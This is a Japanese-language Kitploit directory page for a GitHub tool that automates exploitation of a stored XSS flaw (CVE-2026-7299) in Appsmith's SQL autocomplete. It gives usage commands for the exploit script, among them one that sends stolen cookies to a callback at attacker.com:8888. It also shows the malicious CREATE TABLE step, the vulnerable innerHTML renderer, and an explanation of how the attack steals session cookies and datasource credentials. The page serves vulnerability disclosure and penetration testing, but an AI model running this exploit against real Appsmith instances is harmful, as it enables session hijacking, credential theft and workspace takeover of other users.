Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Appsmith-1.98-Stored-XSS-Exploit — CVE-2026-7299の悪用の自動化 - Appsmith内のSQLオートコンプリートにおけるデータベーステーブル/カラム名を介したStored XSS =>1.99。初回発見 30/03/26 | Kitploit
ツール/GitHubGitHub/stuub/appsmith-1.98-stored-xss-exploit
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubstuub/appsmith-1.98-stored-xss-exploit

Appsmith-1.98-Stored-XSS-Exploit

CVE-2026-7299の悪用の自動化 - Appsmith内のSQLオートコンプリートにおけるデータベーステーブル/カラム名を介したStored XSS =>1.99。初回発見 30/03/26

リポジトリを見る
323ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-7299 - Appsmith 1.98 保存型XSS (SQLオートコンプリート innerHTML シンク)

AppsmithのSQLクエリエディタにおける保存型クロスサイトスクリプティング脆弱性の自動エクスプロイトです。ワークスペースのDeveloperがデータベースのテーブル名を介して任意のJavaScriptを注入でき、他のワークスペースメンバーがSQLオートコンプリートをトリガーした際に、そのメンバーのブラウザで実行されます。

Appsmith v1.98で確認されており、カスタムSQLヒントレンダラーが存在するすべての過去バージョンに影響する可能性があります。脆弱性は hintHelpers.ts:165 にあり、CodeMirrorの安全なデフォルトヒントレンダリング(textContent)が、innerHTML を使用してデータベースのテーブル名やカラム名をサニタイズなしで表示するカスタム render コールバックで上書きされています。

使用方法

基本的なアラートPoC:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!

コールバックサーバーへのCookie流出:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --callback-url http://attacker.com:8888

カスタムペイロード:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --custom-payload ''

PostgreSQLデータソースがまだ存在しない場合、スクリプトは自動的に接続を検出するか、資格情報を指定できます:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --db-host postgres --db-name testdb --db-user postgres --db-pass postgres

例

Screenshot_20260330_161606

PoCビデオデモ

https://www.youtube.com/watch?v=1RHBYZ2Bp_A

ドキュメント

背景

Appsmithは、チームがデータソースに接続してクエリを記述することで内部ツールを構築するオープンソースのローコードプラットフォームです。SQLクエリエディタは、接続されたデータベースのテーブルとカラムのメタデータから取得したオートコンプリート候補を提供します。

hintHelpers.ts のオートコンプリートレンダリングは、カスタムのCodeMirror render コールバックを使用します:

root@kitploit:~
completion.render = (LiElement, _data, { className, text }) => {
    const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
    LiElement.setAttribute("hinttype", hintType);
    LiElement.setAttribute("icontext", iconText);
    LiElement.classList.add("cm-sql-hint");
    LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
    LiElement.innerHTML = text;  // <-- サニタイズされていないテーブル/カラム名
};

CodeMirror 5 のデフォルトのヒントレンダリングは textContent(安全)を使用します。Appsmith はこれを innerHTML で上書きして、スタイリング用のカスタムCSSクラスとアイコン属性を追加しますが、実際のテキストコンテンツ(テーブル名)は生のHTMLとして割り当てられます。データベースカタログからDOMレンダリングまでの8ステップのデータフローのどの時点でもサニタイズは存在しません。

エクスプロイトの流れ

攻撃全体はAppsmithのWeb UIを通じて実行されます。

攻撃者(ワークスペースのDeveloper)は、XSSペイロードをテーブル名とした CREATE TABLE 文を実行します。AppsmithのPostgresPluginはDDLフィルタリングを一切行わず、statement.execute(query) はDDLを含む任意の有効なSQLを受け入れます。

root@kitploit:~
CREATE TABLE "" (id serial primary key);

他のワークスペースメンバーが同じデータソースのSQLクエリエディタを開き、クエリの入力を開始します。データベースのメタデータから取得したテーブル名の候補を含むオートコンプリートドロップダウンが表示されます。悪意のあるテーブル名は innerHTML を介してレンダリングされ、被害者のブラウザセッションでJavaScriptペイロードが実行されます。

XSSは被害者のセッションを持つAppsmithアプリケーションコンテキストで実行されます。攻撃者はセッションCookie(XSRF-TOKEN、SESSION)を盗み、データソースの資格情報を流出させたり、被害者としてAPI呼び出しを行ったりできます。被害者が管理者である場合、攻撃者は完全なワークスペース制御に昇格します。

データフロー

root@kitploit:~
PostgreSQL pg_catalog (table_name, column_name)
  -> PostgresPlugin.getStructure()           [no sanitisation]
  -> DatasourceStructure Java POJO           [no sanitisation]
  -> REST API /api/v1/datasources/{id}/structure  [no sanitisation]
  -> Redux state.entities.datasources        [no sanitisation]
  -> getAllDatasourceTableKeys selector       [no sanitisation]
  -> SqlHintHelper.setDatasourceTableKeys()  [no sanitisation]
  -> CodeMirror hint.sql() completions       [no sanitisation]
  -> LiElement.innerHTML = text              [XSS]

サニタイズは存在せず、ペイロードがオートコンプリートレンダラーによって呼び出されると、innerHTMLにレンダリングされてDOM内で発火します。

参照

  • CVE-2026-7299
  • Appsmith GitHubリポジトリ
  • CWE-79: Improper Neutralisation of Input During Web Page Generation
  • CVE-2026-30862 - TableWidgetV2における同様のパターン(修正済み)
  • 脆弱なファイル: app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみで提供されます。自分が所有するシステム、またはテストする明示的な書面による許可があるシステムに対してのみ使用してください。このツールの誤用または損害について、私は一切の責任を負いません。

楽しいハッキングを!

ツールをダウンロード